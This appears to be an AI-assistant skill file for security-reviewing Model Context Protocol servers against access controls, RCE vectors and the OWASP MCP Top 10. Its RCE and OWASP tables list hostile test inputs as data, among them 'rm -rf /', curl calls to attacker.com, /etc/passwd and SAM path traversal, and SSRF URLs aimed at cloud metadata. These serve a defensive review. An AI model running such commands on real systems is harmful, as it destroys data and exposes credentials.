1---2name: mcp-implementation-security-review-33description: Review MCP server, client, and tool-handler source code for security. Use when asked to review an MCP server before release, audit Model Context Protocol implementation controls MCP-01 through MCP-05, check OWASP MCP Top 10, inspect auth, sessions, rate limiting, input-schema validation, official SDK use, or RCE vectors with file and line evidence.4---56<!-- Generated from harness/github-copilot/plugins/mcp-development/skills/mcp-implementation-security-review/SKILL.md by harness/claude-code/scripts/convert_from_copilot.py. Edit the source, not this file. -->78# MCP implementation security review910Classify an MCP implementation, evaluate applicable baseline controls, RCE vectors, and OWASP MCP Top 10 risks, then produce an evidence-backed security report with code findings and manual follow-ups.1112## When to invoke1314- "Review this MCP server for security."15- "Is my MCP server implementation secure?"16- "Audit our MCP tools for RCE vectors."17- "Check this Model Context Protocol server against MCP-01 to MCP-05."18- "Review MCP client code that handles session IDs and server responses."1920## Prerequisites and context2122- Check protocol version `2025-03-26` or later; current reference is `2025-11-25`.23- Treat the target as server, client, or mixed implementation before applying controls.24- Do not assume STDIO when transport is unclear; mark NEEDS INVESTIGATION and identify the missing evidence.2526## Procedure27281. Classify the target type, MCP protocol status, transport, exposure, and session usage.292. Apply false positive filters before opening findings.303. For network-exposed servers, score MCP-01 through MCP-05; for local/STDIO servers, give best-practice notes and still review RCE; for clients, review token/session handling explicitly visible in client code.314. Review all 7 RCE vectors and mark SAFE, AT RISK, or N/A.325. Evaluate all 10 OWASP MCP Top 10 risks and reuse baseline-control evidence where it fully covers a risk.336. Report with file/line evidence, separate manual follow-ups, and use NEEDS INVESTIGATION for missing deployment, identity-provider, log, or runtime evidence.3435## Classification rules3637| Decision | Rule |38| --- | --- |39| Network-exposed server | Apply all 5 controls, then RCE and OWASP checks. |40| Local/STDIO server | Do not mark baseline controls PASS/FAIL; provide best practices and still run RCE because tool input can execute locally. |41| Client | Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked. |42| Reverse proxy or container exposure | If traffic can reach the server over a network, treat it as network-exposed even if the inner binding is localhost. |43| Ambiguous auth coverage | Auth middleware exists but endpoint coverage is unclear → NEEDS INVESTIGATION. |44| Undeterminable transport | Flag for manual review; do not default to STDIO. |4546| Network-exposed pattern | Transport |47| --- | --- |48| `transport="http"` or `transport="sse"` | HTTP/SSE |49| `StreamableHttpServerTransport` | HTTP (TS/JS) |50| `SSEServerTransport` | SSE (TS/JS) |51| `WithHttpTransport()` | HTTP (C#) |52| `host="0.0.0.0"` | All-interfaces binding |53| Express `.listen(port)` with MCP routes | HTTP, default `0.0.0.0` |54| `EXPOSE` in Dockerfile + MCP server | Network-exposed |5556| Local-only pattern | Transport |57| --- | --- |58| `StdioServerTransport` | STDIO (TS/JS) |59| `WithStdioServerTransport()` | STDIO (C#) |60| `transport="stdio"` | STDIO |61| `mcp.run()` with no args | Python FastMCP STDIO default |62| `.vscode/mcp.json` with `command` key and no URL | STDIO child process |6364| Binding | Actual exposure |65| --- | --- |66| `host="0.0.0.0"` | Network-exposed |67| `host="127.0.0.1"` or `localhost` | Local-only |68| No explicit host (Express/Node) | Defaults to `0.0.0.0` |69| No explicit host (Python FastMCP) | Depends on transport; verify. |70| Docker `ports: "8000:8000"` | Network-exposed even if the process binds `127.0.0.1` inside the container. |7172## False positive filters7374| FP pattern | How to detect |75| --- | --- |76| `.github/skills/` templates | Path contains `.github/skills/`; skill template, not server code. |77| Vendored SDK / OSS copies | File defines `class FastMCP`, `class McpServer`, or path is in `node_modules/`, `vendor/`. |78| MCP client configs | `.vscode/mcp.json` with `inputs`/`servers` but no server code. |79| Documentation / tutorials | `.md`, `.rst` with code fences unrelated to the repo's own server. |80| Outbound-only auth libraries | `DefaultAzureCredential`, service account JSON, or similar used only for outbound auth. |8182Keep documentation when it describes the repo's own server behavior, deployment, transport, or auth posture.8384## Baseline controls8586| Control | Scope | Passing condition | Pitfall |87| --- | --- | --- | --- |88| MCP-01 Identity isolation | Remote MCP servers | Authenticate every inbound request with a trusted identity provider; authorize at the server boundary; use a unique server-specific application identity and audience/resource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow. Unauthenticated discovery endpoints are metadata-only: `/.well-known/oauth-protected-resource`, `/.well-known/oauth-authorization-server`, `/.well-known/openid-configuration`. | Shared application identities or forwarded caller tokens create confused-deputy paths. |89| MCP-02 Sessions | Remote MCP servers that support sessions | Per-request auth remains required; session IDs are opaque, CSPRNG-generated, unpredictable, bound to authenticated context, never in URLs, and never privileges. No sessions → N/A; SDK-managed `Mcp-Session-Id` not visible → NEEDS INVESTIGATION. | Treating a session ID as a bearer credential. |90| MCP-03 Rate limits | MCP servers and tools | Enforce limits at MCP runtime on discovery and invocation, keyed by identity and session, stricter for mutation/high-cost tools, fail closed with HTTP 429 and `Retry-After`. | Gateway-only throttling or one flat bucket. |91| MCP-04 Schema validation | Servers exposing structured arguments | Validate all tool args before execution with explicit schemas covering types, required fields, enums, bounds, and `additionalProperties: false` or equivalent; invalid input returns 400/MCP error and no backend action. | Client-only validation or extra properties. |92| MCP-05 SDK-first | Remote MCP servers | Use an official MCP SDK: Tier 1 TypeScript (`modelcontextprotocol/typescript-sdk`), Python (`modelcontextprotocol/python-sdk`), C#/.NET (`modelcontextprotocol/csharp-sdk`), Go (`modelcontextprotocol/go-sdk`); Tier 2/3 Java, Kotlin, Rust, Swift, PHP, Ruby SDKs. If not official, mark NEEDS INVESTIGATION and require direct control evidence. | Hand-rolled HTTP/SSE often misses per-request auth, throttling, or validation. |9394Starting MCP-03 thresholds: read-only/listing 100/min per identity and 200/min per session; mutation/write 10/min and 20/min; high-cost compute 5/min and 10/min; tool discovery 30/min and 60/min. Tune to actual load, downstream limits, and cost.959697## Review vocabulary9899Preserve these MCP security terms because they affect scoring: `PASS/FAIL**`, `N/A**`, `N/A**.`, `OAuth/MCP`, `Authorization`, `application/client/resource`, `auth/authz`, `client-only`, `client-side`, `command/code`, `correlation/continuity`, `expired/invalid`, `framework/SDK`, `generation/binding`, `hand-rolled`, `in-scope`, `input-validation`, `instruction-bearing`, `mutation-capable`, `network-dependent`, `rate-limiting`, `re-checking`, `read/write/execute`, `repo-owned`, `scopes/roles`, `security/release`, `state-changing`, `string-built`, `time-based`, `transport/SDK`, `under-protects`, `v4/CSPRNG`, `GUID`, `60/min`, and `write/high-cost`.100101Official SDK package names include `modelcontextprotocol/java-sdk`, `modelcontextprotocol/kotlin-sdk`, `modelcontextprotocol/rust-sdk`, `modelcontextprotocol/swift-sdk`, `modelcontextprotocol/php-sdk`, and `modelcontextprotocol/ruby-sdk`; shorthand labels include `java-sdk`, `kotlin-sdk`, `rust-sdk`, `swift-sdk`, `php-sdk`, and `ruby-sdk`.102103## RCE vectors104105| Vector | Dangerous code | Safe alternative | Test payload | CWE |106| --- | --- | --- | --- | --- |107| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm -rf /`, `$(curl attacker.com)`, `| net user` must be rejected or literal. | CWE-78 |108| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist. | `__import__('os').system('whoami')`, `require('child_process').exec('id')` must be rejected. | CWE-94, CWE-95 |109| Unsafe deserialization | `pickle.loads(user_data)`, `yaml.load(input, Loader=yaml.UnsafeLoader)`, `BinaryFormatter.Deserialize(stream)` | `yaml.safe_load()`, `JSON.parse()` plus schema validation; avoid binary formats for untrusted input. | Crafted serialized payloads must be rejected or safely handled. | CWE-502 |110| Path traversal | `fs.readFile(args.path)`, `open(user_path, 'w')` | Canonicalize and enforce an allowlisted base directory before read/write/execute. | `../../../../etc/passwd`, `C:\Windows\System32\config\SAM`, `..\..\..\.env` must be rejected. | CWE-22 |111| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only. | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49`. | CWE-1336 |112| Dependency hijacking | Unpinned deps such as `"lodash": "^4.0.0"`; internal package names resolvable from public registries. | Pin exact versions, keep lock files with integrity hashes, use trusted/scoped registries, verify signatures where available. | `npm audit`, `pip audit`, or `dotnet list package --vulnerable`; review CVEs and suspicious packages. | CWE-829 |113| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending. | `http://169.254.169.254/latest/meta-data/`, `http://localhost:8080/admin`, `http://attacker.com/?data=stolen` must be rejected. | CWE-918 |114115## OWASP MCP Top 10116117| Risk | Test | Pass | Fail |118| --- | --- | --- | --- |119| MCP01:2025 Token Mismanagement & Secret Exposure | Search for hardcoded secrets and token logging; verify env vars or secrets manager and rotation. | No hardcoded secrets, redaction, short-lived/rotated tokens. | Hardcoded secrets, token logging, or long-lived tokens without rotation. |120| MCP02:2025 Privilege Escalation via Scope Creep | Review scopes, roles, per-request authorization, wildcard admin scopes, runtime capability expansion. | Least privilege, per-request authz, no runtime expansion. | Broad scopes, one-time auth only, self-escalating tools. |121| MCP03:2025 Tool Poisoning | Check static server-controlled tool definitions and data-only outputs. | Static definitions and data-only outputs. | External metadata sources or outputs with embedded instructions. |122| MCP04:2025 Supply Chain Attacks & Dependency Tampering | Check lock files, exact pinning, suspicious `postinstall` scripts, audit results, trusted registries. | Pinned deps, committed lock, no known vulnerabilities, no suspicious post-install scripts. | Unpinned deps, no lock, unpatched CVEs, untrusted registries. |123| MCP05:2025 Command Injection & Execution | Search shell execution APIs and trace tool input to shell; test `; ls`, `$(whoami)`, `| cat /etc/passwd`. | No shell execution from untrusted input or parameterized allowlisted execution only. | User input reaches shell commands, `shell=True` formatted strings, unsafe concatenation. |124| MCP06:2025 Prompt Injection via Contextual Payloads | Check tool output returned to LLM, external content sanitization/truncation/sandboxing, and chained tool guardrails. | Data-only outputs, untrusted content sanitized/truncated/sandboxed, chaining guarded. | Raw external content returns to model without chaining limits. |125| MCP07:2025 Insufficient Authentication & Authorization | Send unauthenticated and expired/invalid-token requests; verify per-tool auth in server. | All endpoints require valid auth and per-tool authorization server-side. | Any unauthenticated access, missing per-tool auth, or gateway-only enforcement. |126| MCP08:2025 Lack of Audit and Telemetry | Invoke tool and error path; inspect caller identity, tool name, timestamp, centralized logs, alerts. | Tool invocations logged with identity, centralized logs, alerts. | Missing logs, no identity, local-only logging, no alerting. |127| MCP09:2025 Shadow MCP Servers | Verify service inventory, undocumented endpoints, non-standard ports, dev/staging isolation, owner, review trail. | Inventoried, isolated, owned servers. | Undocumented servers, exposed dev/test, no ownership. |128| MCP10:2025 Context Injection & Over-Sharing | Inspect data minimization, PII, full objects, context isolation. | Minimal data, sensitive fields masked/excluded, isolated context. | Full objects, PII exposure, shared context. |129130## Exception process131132- Document the gap, exact deviation, residual risk, and compensating controls.133- Get explicit security or release approval with an owner and expiration or review date.134- Track and re-evaluate on expiry or whenever the server, tools, traffic profile, or exposure changes.135136## Output template137138```markdown139## MCP implementation security review — <target>140141**Target type:** server | client | mixed142**Transport:** HTTP | SSE | STDIO | unknown143**Protocol:** <version and status>144**Exposure:** network-exposed | local-only | needs investigation145146### Control summary147| Control | Name | Status | Justification |148|---|---|---|---|149| MCP-01 | Auth & Identity isolation | PASS / FAIL / NEEDS INVESTIGATION / N/A | <file:line evidence> |150| MCP-02 | Secure Session Management | PASS / FAIL / NEEDS INVESTIGATION / N/A | <file:line evidence> |151| MCP-03 | Rate limiting & abuse protection | PASS / FAIL / NEEDS INVESTIGATION / N/A | <file:line evidence> |152| MCP-04 | Input schema validation | PASS / FAIL / NEEDS INVESTIGATION / N/A | <file:line evidence> |153| MCP-05 | Production SDK usage | PASS / FAIL / NEEDS INVESTIGATION / N/A | <file:line evidence> |154155### RCE summary156| Vector | Status | Justification |157|---|---|---|158| Command injection | SAFE / AT RISK / N/A | <file:line evidence> |159| Dynamic code evaluation | SAFE / AT RISK / N/A | <file:line evidence> |160| Unsafe deserialization | SAFE / AT RISK / N/A | <file:line evidence> |161| Path traversal | SAFE / AT RISK / N/A | <file:line evidence> |162| SSTI | SAFE / AT RISK / N/A | <file:line evidence> |163| Dependency hijacking | SAFE / AT RISK / N/A | <file:line evidence> |164| SSRF | SAFE / AT RISK / N/A | <file:line evidence> |165166### OWASP summary167| Risk | Status | Justification |168|---|---|---|169| MCP01:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |170| MCP02:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |171| MCP03:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |172| MCP04:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |173| MCP05:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |174| MCP06:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |175| MCP07:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |176| MCP08:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |177| MCP09:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |178| MCP10:2025 | PASS / FAIL / NEEDS INVESTIGATION | <evidence> |179180### Manual follow-ups181- <missing artifact or access required>182```183184## Quality gate185186- [ ] Target type, protocol status, transport, exposure, and session usage are identified or marked NEEDS INVESTIGATION.187- [ ] False positives are filtered before findings are opened.188- [ ] Network-exposed servers have MCP-01 through MCP-05 scored with file/line evidence.189- [ ] Local/STDIO servers are not falsely scored PASS/FAIL for network-only controls but are still reviewed for RCE.190- [ ] Every RCE vector is SAFE, AT RISK, or N/A with evidence.191- [ ] Every OWASP MCP Top 10 risk has PASS, FAIL, or NEEDS INVESTIGATION.192- [ ] Manual follow-ups name the exact artifact or access needed.193194## References195196- [MCP specification 2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26)197- [MCP specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)
paulasilvatech